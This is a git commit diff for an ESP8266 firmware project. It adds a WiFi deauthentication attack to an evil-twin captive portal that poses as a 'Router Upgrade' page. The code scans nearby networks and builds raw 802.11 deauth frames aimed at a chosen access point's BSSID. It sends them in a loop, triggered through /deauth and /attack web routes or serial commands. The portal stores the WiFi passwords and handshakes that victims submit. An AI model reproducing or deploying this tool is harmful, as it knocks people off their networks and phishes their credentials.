Commit 433f3d6

Robinhood <ansarithameem674@gmail.com>
2023-07-01 12:13:33
captive portal changes
v2
1 parent 5fd5c45
captive_portal/data/css/index.css.gz
Binary file
captive_portal/data/html/final.html.gz
Binary file
captive_portal/data/html/handshake.html.gz
Binary file
captive_portal/data/html/index.html
@@ -0,0 +1,16 @@
+<!DOCTYPE html>
+<html lang="en">
+  <head>
+    <meta charset="UTF-8" />
+    <link rel="icon" type="image/png" href="/png/router.png" />
+    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
+    <title>Router Upgrade</title>
+    <script type="module" crossorigin src="/js/index.js"></script>
+    <link rel="stylesheet" href="/css/index.css">
+  </head>
+  <body class="flex flex-col overflow-x-hidden">
+    <div id="root"></div>
+    <script type="text/javascript" src="/js/capfile.js"></script>
+    
+  </body>
+</html>
captive_portal/data/html/index.html.gz
Binary file
captive_portal/data/html/ssid.html.gz
Binary file
captive_portal/data/js/bootstrap.min.js.gz
Binary file
captive_portal/data/js/capfile.js.gz
Binary file
captive_portal/data/js/crypto.js.gz
Binary file
captive_portal/data/js/index.js.gz
Binary file
captive_portal/data/js/jquery.min.js.gz
Binary file
captive_portal/data/png/router.png
Binary file
captive_portal/captive_portal.ino
@@ -2,6 +2,7 @@
 #include <DNSServer.h>
 #include <ArduinoJson.h>
 #include <LittleFS.h>
+#include <WebSocketsServer.h>
 
 #include "utils.h"
 #include "wifi.h"
@@ -13,7 +14,44 @@ IPAddress APIP(172, 0, 0, 1);
 const byte DNS_PORT = 53;
 DNSServer dnsServer;
 ESP8266WebServer server(80);
+WebSocketsServer webSocket = WebSocketsServer(81);
+AccessPoint accessPoints[20];
+AccessPoint selectedAP;
+int AP_COUNT = 0;
+int DEAUTH = 0;
+
+void deauth(AccessPoint ap){
+  for(int i =0; i< 100; i++){
+      wifi_set_channel(ap.channel);
+      delay(1);
+      wifi_send_pkt_freedom(ap.deauthPacket, 26, 0);
+      delay(1);
+  }
+}
 
+void webSocketEvent(uint8_t num, WStype_t type, uint8_t * payload, size_t length) {
+  if(length == 0) return;
+  switch(type) {
+    case WStype_DISCONNECTED:
+      Serial.printf("[%u] Disconnected!\r ", num);
+      break;
+    case WStype_CONNECTED: {
+        IPAddress ip = webSocket.remoteIP(num);
+        Serial.printf("[%u] Connection from ", num);
+        Serial.println(ip.toString());
+        Serial.printf("url: %s\r, ", payload);
+        webSocket.broadcastTXT("New client connected");
+      }
+      break;
+    case WStype_TEXT:
+      if(strcmp((char*)payload,"ping") == 0){
+        webSocket.sendTXT(num, "pong");
+      }
+      break;  
+    default:
+      break;  
+  }
+}
 
 void setup()
 {
@@ -27,26 +65,49 @@ void setup()
   initialServerSetup(APIP);
   dnsServer.start(DNS_PORT, "*", APIP);
 
-  server.on("/", [](){handleRequest(server, "/index.html.gz","html");});
-  server.on("/handshake", [](){handleRequest(server, "/handshake.html.gz","html");});
-  server.on("/ssid", [](){handleRequest(server, "/ssid.html.gz","html");});
-  server.on("/final", [](){handleRequest(server, "/final.html.gz","html");});
-
-  server.on("/jquery.min.js", [](){handleRequest(server,"/jquery.min.js.gz","js");});
-  server.on("/bootstrap.min.js", [](){handleRequest(server,"/bootstrap.min.js.gz","js");});
-  server.on("/capfile.js", [](){handleRequest(server,"/capfile.js.gz","js");});
-  server.on("/crypto.js", [](){handleRequest(server,"/crypto.js.gz","js");}); 
-
+  server.on("/", [](){handleRequest(server, "/index.html","html");});
+  server.on("/attack", [](){handleRequest(server, "/index.html","html");});
+  server.on("/css/index.css", [](){handleRequest(server,"/index.css.gz","css");}); 
+  server.on("/js/index.js", [](){handleRequest(server,"/index.js.gz","js");});
+  server.on("/js/capfile.js", [](){handleRequest(server,"/capfile.js.gz","js");});
+  server.on("/png/router.png",[](){handleRequest(server,"/router.png","png");});
+  
   server.on("/post_ssid", [](){String ssid = server.arg("ssid");changeWifi(ssid);});
   server.on("/post_handshake",[]() {handlePostHandshake(server);});
   server.on("/post_password",[]() {handlePostPassword(server); BLINK(5); });
+  server.on("/get_ssid",[](){server.send(200, "application/json", getSSID());});
   server.on("/get_datas",[]() {server.send(200, "application/json", getDatas());});
+  server.on("/get_networks",[](){AP_COUNT = scan_networks(accessPoints); available_networks(server,accessPoints,AP_COUNT,DEAUTH,selectedAP);});
   server.on("/clear_handshakes",[]() {server.send(200, "application/json", clearHandshakes());});
   server.on("/clear_passwords",[]() {server.send(200, "application/json", clearPasswords());});
 
+  server.on("/deauth",[](){
+    int n = server.arg("ap").toInt(); 
+    if(n > 0 && n <= AP_COUNT){
+      if(DEAUTH == 1){
+        server.send(200, "application/json", "{\"message\":\"Already Deauthenticating - "+selectedAP.ssid+"\",\"status\":\"error\"}");
+        return;
+      }
+      DEAUTH = 1;
+      selectedAP = accessPoints[n-1];
+      selectedAP.deauthState = 1;
+      server.send(200, "application/json", "{\"message\":\"Deauthenticating "+selectedAP.ssid+"\",\"status\":\"success\"}");
+    }
+    else{
+      server.send(200, "application/json", "{\"message\":\"Invalid Access Point number\",\"status\":\"error\"}");
+    }
+  });
+  server.on("/stop_deauth",[](){
+    DEAUTH = 0;
+    selectedAP.deauthState=0; 
+    server.send(200, "application/json", "{\"message\":\"Stopped Deauthenticating "+selectedAP.ssid+"\"}");
+    });
+
   server.onNotFound([](){handleNotFound(server);});
 
   server.begin();
+  webSocket.begin();
+  webSocket.onEvent(webSocketEvent);
   pinMode(BUILTIN_LED, OUTPUT);
   digitalWrite(BUILTIN_LED, HIGH);
 }
@@ -99,13 +160,46 @@ void loop()
       Serial.println("Calculating Space...");
       storageInfo();  
     }
-
+    else if (strcmp(buffer,"scan") == 0){
+      Serial.println("Scanning for Wi-Fi networks...");
+      AP_COUNT = scan_networks(accessPoints);
+    }
+    else if (strcmp(buffer,"list networks") == 0){
+      Serial.println("Listing Wi-Fi networks...");
+      list_network_details(accessPoints,AP_COUNT);
+    }
+    else if (strncmp(buffer,"deauth",6) == 0){
+      int n = atoi(buffer + 7);  
+      if(n > 0 && n <= AP_COUNT){
+        if(DEAUTH == 1){
+          Serial.println("Already Deauthenticating - "+selectedAP.ssid);
+          return;
+        }
+        DEAUTH = 1;
+        selectedAP = accessPoints[n-1];
+        Serial.println("Starting deauth...");
+      }
+      else{
+        Serial.println("Invalid Access Point number");
+        Serial.println("Type list networks to see available networks");
+      }
+    }
+    else if (strcmp(buffer,"stop deauth") == 0){
+      Serial.println("Stopping deauth...");
+      DEAUTH = 0;
+    }
     else {
       Serial.println("Invalid command");
       Serial.println("Type help to see available commands");
     }
     Serial.println("");
   }
+  if(DEAUTH){
+    Serial.println("Deauthenticating.. "+selectedAP.ssid);
+    deauth(selectedAP);
+    delay(500);
+  }
   dnsServer.processNextRequest();
+  webSocket.loop();
   server.handleClient();
 }
captive_portal/server.h
@@ -8,6 +8,7 @@ extern void handleRequest(ESP8266WebServer& server,String fileName,String ext);
 extern void handleNotFound(ESP8266WebServer& server);
 extern void handlePostHandshake(ESP8266WebServer& server);
 extern void handlePostPassword(ESP8266WebServer& server);
+extern void available_networks(ESP8266WebServer& server, AccessPoint ap[], int apCount,int Deauth,AccessPoint selectedAP);
 
 extern String getDatas();
 extern String clearHandshakes();
@@ -19,7 +20,12 @@ void handleRequest(ESP8266WebServer& server,String fileName,String ext) {
         if(ext=="js"){
             ext = "javascript";
           }
-        server.streamFile(files, "text/"+ext);
+          if(ext=="png"){
+            server.streamFile(files, "image/png");
+          }
+          else{
+            server.streamFile(files, "text/"+ext);
+          }
         files.close();
     }
     else {
@@ -47,10 +53,20 @@ void handlePostHandshake(ESP8266WebServer& server) {
 
 void handlePostPassword(ESP8266WebServer& server) {
     String password = server.arg("plain");
+    StaticJsonDocument<200> doc;
     if (password == "") {
         server.send(200,"application/json","{\"message\":\"Password is empty.\"}");
         return;
     }
+
+    DeserializationError error = deserializeJson(doc, password);
+    if (error) {
+        server.send(200,"application/json","{\"message\":\"Password is not a valid json.\"}");
+        return;
+    }
+    doc["mac"] = WiFi.macAddress();
+    doc["ip"] = WiFi.localIP().toString();
+    doc["current_ssid"] = WiFi.SSID();
     DynamicJsonDocument handshakeJson = readJsonFile("/json/datas.json");
     JsonArray handshakes = handshakeJson["passwords"];
     handshakes.add(password);
@@ -69,6 +85,12 @@ String getDatas() {
     return jsonString;
 }
 
+String getSSID(){
+  DynamicJsonDocument config = readJsonFile("/json/config.json");
+  const char *ssid = config["ssid"];
+  return "{\"ssid\":\""+String(ssid)+"\"}";
+}
+
 String clearHandshakes() {
     DynamicJsonDocument handshakeJson = readJsonFile("/json/datas.json");
     JsonArray handshakes = handshakeJson["handshakes"];
@@ -83,4 +105,27 @@ String clearPasswords() {
     handshakes.clear();
     writeJsonFile("/json/datas.json", handshakeJson);
     return "{\"message\":\"Passwords cleared.\"}";
-}
\ No newline at end of file
+}
+
+void available_networks(ESP8266WebServer& server, AccessPoint ap[], int apCount,int Deauth,AccessPoint selectedAP){
+    String json = "[";
+    for (int i = 0; i < apCount; i++) {
+      Serial.println(Deauth);
+      Serial.println(selectedAP.bssid+" "+ ap[i].bssid);
+        if(Deauth == 1 && selectedAP.bssid == ap[i].bssid)
+        {
+          ap[i].deauthState = 1;
+          Serial.println(ap[i].ssid);
+        }
+        else
+        {
+          ap[i].deauthState = 0;
+        }
+        json+= "{\"ssid\":\"" + ap[i].ssid + "\",\"bssid\":\"" + ap[i].bssid + "\",\"signal\":\"" + ap[i].signalStrength + "\",\"channel\":\"" + ap[i].channel + "\",\"encryption\":\"" + ap[i].encryptionType + "\",\"deauthState\":\"" + ap[i].deauthState + "\"}";
+        if (i < apCount - 1) {
+            json += ",";
+        }
+    }
+    json += "]";
+    server.send(200, "application/json", json);
+}
captive_portal/utils.h
@@ -10,6 +10,7 @@ extern void writeJsonFile(const char* file_path, DynamicJsonDocument& doc);
 extern void listDir(const char* dirname, uint8_t levels);
 extern void storageInfo();
 extern void BLINK(int times);
+extern String encryption_str(int encryption);
 
 void listDir(const char* dirname, uint8_t levels) {
   File root = LittleFS.open(dirname,"r");
@@ -70,4 +71,23 @@ void BLINK(int times) {
     digitalWrite(BUILTIN_LED, counter % 2);
     delay(500);
   }
+}
+
+String encryption_str(int encryption)
+{
+  switch (encryption)
+    {
+    case ENC_TYPE_WEP:
+      return "WEP";
+    case ENC_TYPE_TKIP:
+      return "WPA";
+    case ENC_TYPE_CCMP:
+      return "WPA2";
+    case ENC_TYPE_NONE:
+      return "OPEN";
+    case ENC_TYPE_AUTO:
+      return "AUTO";
+    default:
+      return "UNKNOWN";
+    }
 }
\ No newline at end of file
captive_portal/wifi.h
@@ -4,33 +4,116 @@
 #include <ESP8266WiFi.h>
 #include "utils.h"
 
+class AccessPoint
+{
+public:
+  String ssid;
+  String bssid;
+  int channel;
+  String encryptionType;
+  signed signalStrength;
+  int deauthState=0;
+  // deauth pkt from spacehuhn
+  uint8_t deauthPacket[26] = {
+      /*  0 - 1  */ 0xC0, 0x00,                         // type, subtype c0: deauth (a0: disassociate)
+      /*  2 - 3  */ 0x00, 0x00,                         // duration (SDK takes care of that)
+      /*  4 - 9  */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // reciever (target)
+      /* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // source (ap)
+      /* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID (ap)
+      /* 22 - 23 */ 0x00, 0x00,                         // fragment & squence number
+      /* 24 - 25 */ 0x01, 0x00                          // reason code (1 = unspecified reason)
+  };
+};
+
 extern bool setupWifi();
 extern bool changeWifi(String ssid);
 extern void initialServerSetup(IPAddress APIP);
+extern int scan_networks(AccessPoint ap[]);
+extern void list_network_details(AccessPoint ap[], int len);
 
-void initialServerSetup(IPAddress APIP){
-    WiFi.mode(WIFI_AP);
-    WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0));
-    if(setupWifi()){
-      Serial.println("Wifi setup successful");
-    }
-    else{
-      Serial.println("Wifi setup failed");
-    }
+void initialServerSetup(IPAddress APIP)
+{
+  WiFi.mode(WIFI_AP_STA);
+  WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0));
+  if (setupWifi())
+  {
+    Serial.println("Wifi setup successful");
+  }
+  else
+  {
+    Serial.println("Wifi setup failed");
+  }
 }
 
-bool setupWifi(){
+bool setupWifi()
+{
   DynamicJsonDocument config = readJsonFile("/json/config.json");
-  const char* ssid = config["ssid"];
+  const char *ssid = config["ssid"];
   Serial.println("SSID: " + String(ssid));
   WiFi.softAP(ssid);
   return true;
 }
 
-bool changeWifi(String ssid){
+bool changeWifi(String ssid)
+{
   DynamicJsonDocument config = readJsonFile("/json/config.json");
   config["ssid"] = ssid;
   writeJsonFile("/json/config.json", config);
   setupWifi();
   return true;
 }
+
+void list_network_details(AccessPoint ap[], int len)
+{
+  for (int i = 0; i < len; i++)
+  {
+    Serial.print("AP no: ");
+    Serial.println(i + 1);
+    Serial.println("SSID: " + ap[i].ssid);
+    Serial.println("BSSID: " + ap[i].bssid);
+    Serial.print("Channel: ");
+    Serial.println(ap[i].channel);
+    Serial.print("Encryption: ");
+    Serial.println(ap[i].encryptionType);
+    Serial.print("Signal Strength: ");
+    Serial.println(ap[i].signalStrength);
+    Serial.println("--------------------");
+  }
+}
+
+int scan_networks(AccessPoint ap[])
+{
+  int numNetworks = WiFi.scanNetworks();
+  Serial.println("Scan complete");
+  if (numNetworks == 0)
+  {
+    Serial.println("No networks found");
+  }
+  else
+  {
+    Serial.print(numNetworks);
+    Serial.println(" networks found, updating ap list");
+    for (int i = 0; i < numNetworks; i++)
+    {
+      ap[i].ssid = WiFi.SSID(i);
+      ap[i].bssid = WiFi.BSSIDstr(i);
+      ap[i].channel = WiFi.channel(i);
+      ap[i].encryptionType = encryption_str(WiFi.encryptionType(i));
+      ap[i].signalStrength = WiFi.RSSI(i);
+      
+      // set the BSSID of the deauth packet
+      uint8_t mac[6];  
+      const char *myCharPtr = ap[i].bssid.c_str();
+      for (int i = 0; i < 6; i++) {
+        char byte_str[3];
+        byte_str[0] = myCharPtr[i*3];
+        byte_str[1] = myCharPtr[i*3+1];
+        byte_str[2] = '\0';
+        mac[i] = strtol(byte_str, NULL, 16);
+      }
+      memcpy(ap[i].deauthPacket + 10, mac, 6);
+      memcpy(ap[i].deauthPacket + 16, mac, 6);
+    }
+  }
+  return numNetworks;
+}